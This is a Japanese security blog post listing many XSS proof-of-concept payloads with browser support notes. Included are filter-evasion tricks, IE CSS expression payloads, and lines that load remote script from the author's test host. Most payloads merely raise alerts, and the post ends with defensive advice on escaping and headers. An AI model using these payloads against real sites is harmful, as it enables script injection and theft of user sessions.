色んなXSS


2015/4/16(木):ページの一番下に追記を記述しました。

その昔、なんとかキャンプというセキュリティのイベントに参加した時「アウトプットが大事」と言われたのを思い出しました。
でも、普通自分の見つけた知識は後生大事に抱えておきたいもんだと思います。
そこで今回はそういった何かしょーもないものを捨てるべく、溜め込んだ色んなXSSのPoCを少し書き出してまとめました。

今まで自分で見つけたものや海外のSecurity Researcher達から収集したものもあります。
さて、今回リストアップしたPoCの見方ですがいくつかの項目があります。

スクリーンショット 2015-02-16 1.56.25

一番上の「手法」はタイトルみたいなものだと思って下さい。
二番目の「PoC」はスクリプトを実行する為のコードです。殆どがアラートが出るだけのスクリプトの為危険なコードは無いつもりですがご自分のブラウザで実行する際は自己責任でお願いします。リンクをクリックすると実行するタイプのものもあります。
三番目の「対応ブラウザ」はどんなブラウザで動作したかが書いてあります。実際「俺の環境では動いたんだけど!」とか「動かなかったんだけど!」ということがあるかもしれません。その場合は申し訳ありません見落としです。
最後の「解説」は一言コメントみたいなレベルに収まっています。この解説に関しては正しさを保証出来ません。

またカテゴリーの様な物を作ってPoCを分類しました。

  • 基本
  • CSSXSS系
  • ブラウザの解釈を誤魔化す
  • 短くする系
  • 特定の関数が使用できない
  • Bypass
  • ユニーク
  • といったカテゴライズをしました。それぞれ分類されたPoCが正しくカテゴライズされているかは分かりません。その内修正する可能性もあります。

    次に、今回使用した環境とブラウザをリストアップします。
    環境とブラウザ
    OS:Windows XP
    IE 6.0.2900.5512
    IE 7.0.5730.11
    IE 8.0.6001.18702

    OS:Windows 7
    IE 9.0.8112.16421
    IE 10.0.9200.17183
    IE 11.0.9600.17501
    Firefox 34.05
    GoogleChrome 41.0.2243.0 m (64-bit)

    大分前に検証した為FirefoxやChromeのバージョンが少し古いかもしれませんが最新版でも動くかと思います。
    またIEに関しては検証する際XSSフィルターを解除している為、実際はその殆どをXSSフィルターがシャットアウトしてくれると思います(多分)。

    ・基本
    まずは基本です。よく知られた手法だと思います。

    手法:onerrorイベントハンドラを使ったスクリプトの実行
    PoC:
    [html]
    <img src=1 onerror=alert(1)>
    [/html]
    対応ブラウザ:IE6 IE7 IE8 IE9 IE10 IE11 FF GC
    解説
    基本中の基本です。scriptタグが使用出来ない時に使うことが出来ます。これ以上の解説はありません。

    手法:svgタグを使ったスクリプトの実行
    PoC:
    [html]
    <svg onload=alert(1)>
    [/html]
    対応ブラウザ:IE10 IE11 FF GC
    解説
    imgタグが使えない場合に使えます。何気に21字と必要文字数が少ないことも特徴です。

    手法:JSON XSS
    対応ブラウザ:IE6 IE7 IE8 IE9
    解説
    Content-Typeがapplication/jsonであるにも関わらずURLの末尾に「/.html」を付け、JSON内でタグ文字を使用できる際XSSが引き起こされるというものです。
    以下のリンクの「発生するかもしれない脆弱性その2: XSS」が参考になります。
    JSONのエスケープをどこまでやるか問題
    http://d.hatena.ne.jp/hasegawayosuke/20110706/p1

    手法:onhashchangeを使ったスクリプトの実行
    PoC:
    [html]
    <body/onhashchange=alert(1)><a href=#>click</a>
    [/html]
    対応ブラウザ:IE10 IE11 FF GC
    解説
    onhashchangeはハッシュが変わった時発火するイベントハンドラです。

    手法:javascriptスキームとハッシュを使った手法
    PoC:
    http://vuln.moe/web/xss/onerror.php?q=a=location;a.href=’javascript:/*’+a.hash//#*/alert(1)
    対応ブラウザ:IE6 IE7 IE8 IE9 IE10 IE11 FF GC
    解説
    javascriptスキームとハッシュを利用します。

    手法:例外を利用したスクリプトの実行
    PoC:
    [html]
    <img src=1 onerror="alert;window.onerror=alert;throw 1">
    [/html]
    対応ブラウザ:IE10 IE11 FF GC
    解説
    throwを使い括弧を使うこと無く実行します。

    手法:特定のタグが使えない際のスクリプトの実行
    PoC:
    [html]
    <anything onmouseover=javascript:confirm(1)>zzz</anything>
    [/html]
    対応ブラウザ:IE10 IE11 FF GC
    解説
    特定のタグが使えない際適当なタグ名を使うことが出来ます。

    手法:イベントハンドラと実行関数の間にスペース
    PoC:
    [html]
    <style/onload = !-alert&#x28;1&#x29;>
    [/html]
    対応ブラウザ:IE6 IE7 IE8 IE9 IE10 IE11 FF GC
    解説
    イベントハンドラと実行関数との間にスペースが存在してもスクリプトが動作します。

    手法:vbscriptを利用したスクリプトの実行 その1
    PoC:
    [html]
    <img language=vbs src=<b onerror=alert#1/1#>
    [/html]
    対応ブラウザ:IE6 IE7 IE8 IE9 IE10
    解説
    IE6~IE10までで動作します。

    手法:vbscriptを利用したスクリプトの実行 その2
    PoC:
    [html]
    <body language=vbs onload=alert-1
    [/html]
    対応ブラウザ:IE6 IE7 IE8 IE9 IE10
    解説
    vbscriptを使い括弧を使わずにスクリプトを実行することが出来ます。

    手法:vbscriptを利用しスクリプトの実行 その3
    PoC:
    [html]
    <script language=vbs>msgbox+1</script/comeone>
    [/html]
    対応ブラウザ:IE6 IE7 IE8 IE9 IE10
    解説
    vbscriptを使い括弧を使わずにスクリプトを実行することが出来ます。

    手法:
    PoC:cc_onステートメントを利用したスクリプトの実行
    [html]
    <script>//@cc_on alert@cc_on/* */(1)</script>
    [/html]
    対応ブラウザ:IE6 IE7 IE8 IE9 IE10
    解説
    cc_onステートメントを利用し、コードを実行します。
    https://msdn.microsoft.com/ja-jp/library/eb0w91wa%28v=vs.90%29.aspx

    手法:setステートメントを利用したスクリプトの実行
    PoC:
    [html]
    <body/onload="@set @evil=1; @if(@evil)eval(alert(@evil))@end;">
    [/html]
    対応ブラウザ:IE6 IE7 IE8 IE9 IE10
    解説
    setステートメントを利用し、コードを実行します。
    https://msdn.microsoft.com/ja-jp/library/k0h7dyd7%28v=vs.90%29.aspx

    手法:記号を含むスクリプトタグ
    PoC:
    [html]
    <script>+-+-1-+-+alert(1)</script>
    [/html]
    対応ブラウザ:IE6 IE7 IE8 IE9 IE10 IE11 FF GC
    解説
    関数以外の文字が存在しても実行されます。+-の数や-+の数を増やしたり減らしたりしても動作します。

    ・CSSXSS
    IEでよくあるCSSXSSってやつです。大体IE6からIE9までで動作します。

    手法:基本的なCSSXSS
    PoC:
    [html]
    <div style="left:expression( alert(‘xss’))">
    <div style="left:exp/* */ression( alert(‘xss’))">
    <div style="left:&#x0065;xpression( alert(‘xss’))">
    <div style="left:\0065\0078pression( alert(‘xss’))">
    <div/style="width:expression(confirm(1))">X</div>
    <li style="color:rgb(”0,0,&amp;#0;javascript:expression(confirm(1))">XSS</li>
    <iframe src="#" style=width:exp/**/ressi/**/on(confirm(1))>
    <input/type=hidden style=&#96;x:expression(alert(/XSS/))&#96;>
    <div style="color:rgb(”&#amp;0;x:expression(alert(1))"></div>
    [/html]
    対応ブラウザ:IE6 IE7 IE8 IE9
    解説
    基本中の基本です。IE9までカバーします。途中コメントを入れることも出来ます。
    詳しくは以下のリンク参照です。
    教科書に載らないWebアプリケーションセキュリティ(3):[柔軟すぎる]IEのCSS解釈で起こるXSS (2/3) – @IT http://www.atmarkit.co.jp/ait/articles/0906/04/news111.html

    手法:background-imageを使ったCSSXSS
    PoC:
    [html]
    <div STYLE="background-image: url(javascript:alert(‘XSS’))">
    [/html]
    対応ブラウザ:IE6
    解説
    IE6のみです。いい加減IE6は滅ぶべきなのかと思います。

    手法:HTMLエンティティとコメントを利用したCSSXSS
    PoC:
    [html]
    <div style=’width&#58;exp/**/ressi/**/on&#x00028;confirm&#x00028;location&#41;&#41;’>div</div>
    [/html]
    対応ブラウザ:IE6 IE7 IE8 IE9
    解説
    HTMLエンティティとコメントを利用してフィルタを回避します。

    手法:importを使用したCSSXSS
    PoC:
    [html]
    <style>@import "data:,*%7bx:expression(alert(46))%7D";</style>
    [/html]
    対応ブラウザ:IE9
    解説
    styleタグ内でimportとdataスキームを使用したXSSです。

    ・ブラウザの解釈を誤魔化す

    手法:ブラウザの解釈を誤魔化す その1
    PoC:
    [html]
    <a href=[]" onmouseover=prompt(1)//">XYZ
    [/html]
    対応ブラウザ:IE6 IE7 IE8 IE9 IE10 IE11 FF GC
    解説
    []以外に*や[、適当な文字でも動作します。

    手法:ブラウザの解釈を誤魔化す その2
    PoC:
    [html]
    <input type="text" value=&#096;&#096;<div/onmouseover=’alert(1)’>X</div>;
    [/html]
    対応ブラウザ:IE6 IE7 IE8 IE9
    解説
    バッククォートを使います。

    手法:CSSの解釈を誤魔化す
    PoC:
    [html]
    <div id="b" style="font-family:a/**/ression(alert(1))(‘\’)exp\’)">aa</div>
    [/html]
    対応ブラウザ:IE6 IE7 IE8 IE9
    解説
    expressionという文字との単純な比較を回避します。

    手法:大量のaタグ
    PoC:
    [html]
    <a
    aa
    aaa
    aaaa
    aaaaa
    aaaa
    aaa
    aa
    a
    href=
    javascript:alert(1)>X</a>
    [/html]
    対応ブラウザ:IE10 IE11 FF GC
    解説
    悩んだ末ここに入れました。クリックをすることでアラートが実行されます。

    ・短くする系
    短いのを狙う系です。XSS Challenge等で使えるテクニックだと思います。もしかしたらもっと短く出来るかもしれません。

    手法:oncut、oncopyの使用
    PoC:
    [html]
    <q/oncut=alert()
    <q/oncopy=alert()
    [/html]
    対応ブラウザ:GC
    解説
    GoogleChrome限定の手法ですがそれぞれ16字、17字となっています。
    oncutは””を選択して「ctrl+x」を、oncopyは””を選択して「ctrl+c」を押す事で発火します。
    スクリーンショット 2015-02-16 0.44.46

    手法:top.nameの使用
    PoC:
    [html]
    <script>window.open("http://vuln.moe/web/xss/onerror.php?q=eval(top.name)", "alert(1)")</script>
    [/html]
    対応ブラウザ:IE11 FF GC
    解説:
    top.name内の値を使用してアラートを出力しています。
    open関数の第二引数は新しいWindowの名前としてアクセス先、つまり「http://vuln.moe/web/xss/onerror.php」ページのnameプロパティに入ります。
    アクセス先ではeval(top.name)のみ使えばいいので必要文字数は14字となります。

    手法:URLプロパティを使用したXSSその1
    PoC:eval(URL.substr(xx))#alert(1)
    http://vuln.moe/web/xss/onerror.php?q=eval(URL.slice(58))#alert(1)
    対応ブラウザ:IE6 IE7 IE8 IE9 IE10 IE11 FF GC
    解説:
    location.hashではなくURLプロパティを参照することで文字数の削減を行っています。

    手法:URLプロパティを使用したXSSその2
    PoC:
    [html]
    eval(unescape(URL))#%0Aalert(1)
    [/html]
    http://vuln.moe/web/xss/onerror.php?q=eval(unescape(URL))#%0Aalert(1)
    対応ブラウザ:IE6 IE7 IE8 IE9 IE10 IE11 FF GC
    解説
    上の手法と同じくURLプロパティを参照した手法です。unescapeと改行文字を含んだハッシュを使用することでsliceでどこから切り出すかを指定することなくスクリプトを実行することが出来ます。この2つの手法は下の特定の関数が使用できない状況で役に立つ事があります。

    ・特定の関数が使用できない
    XSS Challengeに多いかと思いますが特定の関数、例えばalertやconfirmといった関数を使用することが出来ないといった事が起こるかと思います。

    手法:36進数を利用したスクリプトの実行
    PoC:
    [html]
    <script>
    this[1558153217..toString(36)](1); //prompt(1);
    </script>
    [/html]
    対応ブラウザ:IE6 IE7 IE8 IE9 IE10 IE11 FF GC
    解説
    36進数をtoStringで文字にすることでスクリプトの実行を行っています。
    この数字は以下のコードで求めることが出来ます。
    [html]
    <script>
    parseInt("prompt",36);
    </script>
    [/html]

    手法:エスケープを利用したスクリプトの実行
    PoC:
    [html]
    <script>
    x=’\x61\x6c\x65\x72\x74\x28\x31\x29′;
    new Function(x)();
    </script>
    [/html]
    対応ブラウザ:IE6 IE7 IE8 IE9 IE10 IE11 FF GC
    解説
    alertという関数名が使えない時にアラートを出すことが出来ます。

    手法:Unicodeエスケープを利用したスクリプトの実行
    PoC:
    [html]
    <script>
    \u0078=\u0061\u006c\u0065\u0072\u0074;
    \u0078("\u0068\x61\150\u0061");
    </script>
    [/html]
    対応ブラウザ:IE6 IE7 IE8 IE9 IE10 IE11 FF GC
    解説
    Unicodeエスケープを使いスクリプトを実行します。

    手法:jQueryを使った外部スクリプトの実行
    PoC:
    [html]
    <img src=1 onerror=$.getScript(‘http://vuln.moe/web/xss/xss.js’)>
    [/html]
    対応ブラウザ:IE6 IE7 IE8 IE9 IE10 IE11 FF GC
    解説
    jQueryのgetScriptを使用して外部スクリプトを取得し実行しています。
    jQueryを使ったサイトのみで使用できる手法です。

    手法:linkタグを使ったスクリプトの実行
    PoC:
    [html]
    <link rel=import href=http://vuln.moe/web/xss/chrome_link.php>
    [/html]
    対応ブラウザ:GC
    解説
    動作するブラウザはGoogleChromeのみとなります。以下にPHPコードを示します。
    注目すべき点としてはレスポンスヘッダに「Access-Control-Allow-Origin: *」を付与していることです。
    chrome_link.php
    [php]
    <?php
    header("Content-Type: text/html; charset=UTF-8");
    header("Access-Control-Allow-Origin: *");
    ?>
    <script>alert(1);</script>
    [/php]

    手法:innerHTMLを使ったスクリプトの実行
    PoC:
    [html]
    <div id="x">alert%28document.cookie%29%3B</div>
    <script>eval(unescape(x.innerHTML));</script>
    [/html]
    対応ブラウザ:IE6 IE7 IE8 IE9 IE10 IE11 FF GC
    解説
    divタグに自由な値を入れられる際使用できます。パーセントエンコードされていない場合unescapeは必要ありません。

    手法:outerHTMLとハッシュを使ったスクリプトの実行
    PoC:
    http://vuln.moe/web/xss/onerror.php?q=outerHTML=location.hash#<img/src=1 onerror=alert(1)>
    対応ブラウザ:IE8 IE9 IE10 IE11 FF GC
    解説
    outerHTMLにハッシュの値を出力しています。

    ・Bypass
    何かの制限を抜けたい場合の手法です。上のジャンルに入れられそうにないものが入っています。

    手法:コメントアウトを利用したXSS
    PoC:
    [html]
    <script src=data:,alert(1)<!–
    <script type="text/javascript" src="….js"></script>
    [/html]
    対応ブラウザ:FF GC
    解説
    攻撃者が1行目に入力可能な場合実行されます。XSS Challengeなんかで使えそうで競技向きの手法かと思われます。

    手法:keygenタグを使った手法
    PoC:
    [html]
    <keygen name="confirm(1)" onfocus="eval(this.name);" autofocus>
    [/html]
    対応ブラウザ:FF GC
    解説
    keygenタグはHTML5から追加されたタグです。

    手法:容易なscriptタグの禁止を回避する。
    PoC:
    [html]
    <a href="data:),< s c r i p t > a l e r t ( document.domain ) < / s c r i p t >">CLICK</a>
    [/html]
    対応ブラウザ:FF
    解説
    間にスペースを入れることで「script」という文字との単純なマッチを回避します。

    手法:hrefの参照その1
    PoC:
    [html]
    <map>
    <area id="zzz" href="javascript:alert(1)">
    <area>
    </map>
    <script>
    location=zzz
    </script>
    [/html]
    対応ブラウザ:IE6 IE7 IE8 IE9 IE10 IE11 FF GC
    解説
    areaタグ内のhrefを参照します。

    手法:hrefの参照その2
    PoC:
    [html]
    <a href="x:alert(1)" id="test">click</a> <script>eval(test+”)</script>
    [/html]
    対応ブラウザ:FF
    解説
    aタグ内のhrefを参照します。

    手法:altを利用したスクリプトの実行
    PoC:
    [html]
    <img src=x alt=confirm(1) onmouseover=eval(alt)>
    [/html]
    対応ブラウザ:IE6 IE7 IE8 IE9 IE10 IE11 FF GC
    解説
    altに実行する関数を入れevalで実行します。

    手法:srcに入れた関数を実行する
    PoC:
    [html]
    <img/*%00/src="hahaha&colon;alert(1)"/%00*/onerror=’eval(src)’>
    [/html]
    対応ブラウザ:IE10 IE11 FF GC
    解説
    srcに実行する関数を入れevalで実行します。
    余計な文字と実行したい関数との間には「:」もしくは「&colon;」を入れることをお忘れないよう。

    ・ユニーク
    ユニークなPoCです。

    手法:「i」と「s」の代わりに別の文字を利用する。
    PoC:
    [html]
    <script>
    document.write("<ımg ſrc=1 onerror=".toUpperCase()+"alert(1)>");
    </script>
    [/html]
    対応ブラウザ:IE11 FF GC
    解説
    「ı」と「ſ」はそれぞれtoUpperCaseを使用すると「I」と「S」となります。
    ちなみに「ß」をtoUpperCaseすると「SS」となりますが使う機会が分からない・・・。

    手法:「/」の代わりに別の文字を使用する。
    PoC:
    [html]
    <script src=http:/〱vuln.moe/web/xss/xss.js></script>
    [/html]
    対応ブラウザ:IE11
    解説
    /の代わりに別の文字を使用することが出来ます。
    ちなみにこれ「く」に見えますが厳密には違います。
    他にも以下の文字を使用することが出来ます。
    〱,〳,〵,ゝ,ー,ヽ,ー

    手法:クリップボードを利用したXSS
    注意:このPoCを実行するとクリップボードの中身が書き換わります!実行する前に今のクリップボードの内容をどこか別の場所に保存しておくことをおススメします!
    PoC:
    [html]
    <div>このPoCを実行するとクリップボードの中身が書き換わります!実行する前に今のクリップボードの内容をどこか別の場所に保存しておくことをおススメします!</div>
    <script>
    clipboardData.setData("text", "alert(document.domain)");
    </script>
    <a href="http://vuln.moe/web/xss/onerror.php?q=eval(clipboardData.getData(‘text’))">click</a>
    [/html]
    対応ブラウザ:IE6 IE7 IE8 IE9 IE10 IE11
    解説
    クリップボードに実行させたい関数を保存し、リンク先でevalを使い実行しています。
    実行する際「クリップボードの中身を参照してもいいか?」と聞かれるので怪しさ満点ですが私はこの手法大変気に入っていますw
    スクリーンショット 2015-02-16 1.47.24

    怪しいことこの上ない・・・

    手法:U+1680を使用したスクリプトの実行
    PoC:
    [html]
    <script>
     alert ( 1 ) 
    </script>
    [/html]
    http://vuln.moe/web/xss/?q=<script>%E1%9A%80alert%E1%9A%80(%E1%9A%801%E1%9A%80)%E1%9A%80</script>
    対応ブラウザ:IE6 IE7 IE8 IE9 IE10 IE11 FF GC
    解説
    この文字はU+1680です。URLに入力する際は「%E1%9A%80」を使用します。この文字は無視されalert(1)が実行されます。
    このPoCに関しては今後も様々な検証が必要だと思います。
    あまりメジャーな手法ではありませんがご覧の通り全てのブラウザでの動作を確認しました。
    このU+1680はハイフンの様に見えますがオガム文字というものらしいです。
    この他にもU+180Eを使う手法もあります。

    下の画像を見て下さい。アドレスバーにはU+180Eが使われている箇所が幾つか存在します。それはどこでしょうか。
    スクリーンショット 2015-02-16 21.44.29
    正解は以下の通りです。全く見えませんね。
    <script>[U+180E]alert[U+180E]([U+180E]1[U+180E])[U+180E]</script>

    http://vuln.moe/web/xss/?q=<script>%E1%A0%8Ealert%E1%A0%8E%28%E1%A0%8E1%E1%A0%8E%29%E1%A0%8E</script>

    余計な文字を挟んでいますがスクリプトは動作します。

    ちなみにタグにU+180Eを入れるとHTMLソースは以下のようになりますがスクリプトは実行されません(画像はMacのFF)。
    スクリーンショット 2015-02-16 21.55.45

    終わりに
    今のところこれで以上になります。
    ジャンル分けがかなり怪しい箇所があるので今後アップデートする可能性があります。
    また増えていったらどこか他所の場所に移すことも考えています。
    現在所持しているPoCはこれで全てではありませんので・・・。

    2015/4/16(木):追記
    ここに載っているPoCはユーザ入力値の出力箇所を適切にエスケープするという対策が取られてさえいれば全く動作しないはずです。
    ただし、特定のタグ(例えばaタグ、imgタグ)の使用がユーザに対して許可されているサイトに限り「適切にエスケープする」という対策では攻撃を防ぐのは難しく、属性値の検証やX-Content-Type-Options等のレスポンスヘッダが適切に付与されているかどうかなどが重要になってくるかと思います。
    本ページのコンテンツは、自身のサイト上などで特定のタグの使用が出来る時そういった検証が出来ているかどうか、穴は無いかといった診断の参考となればと思います。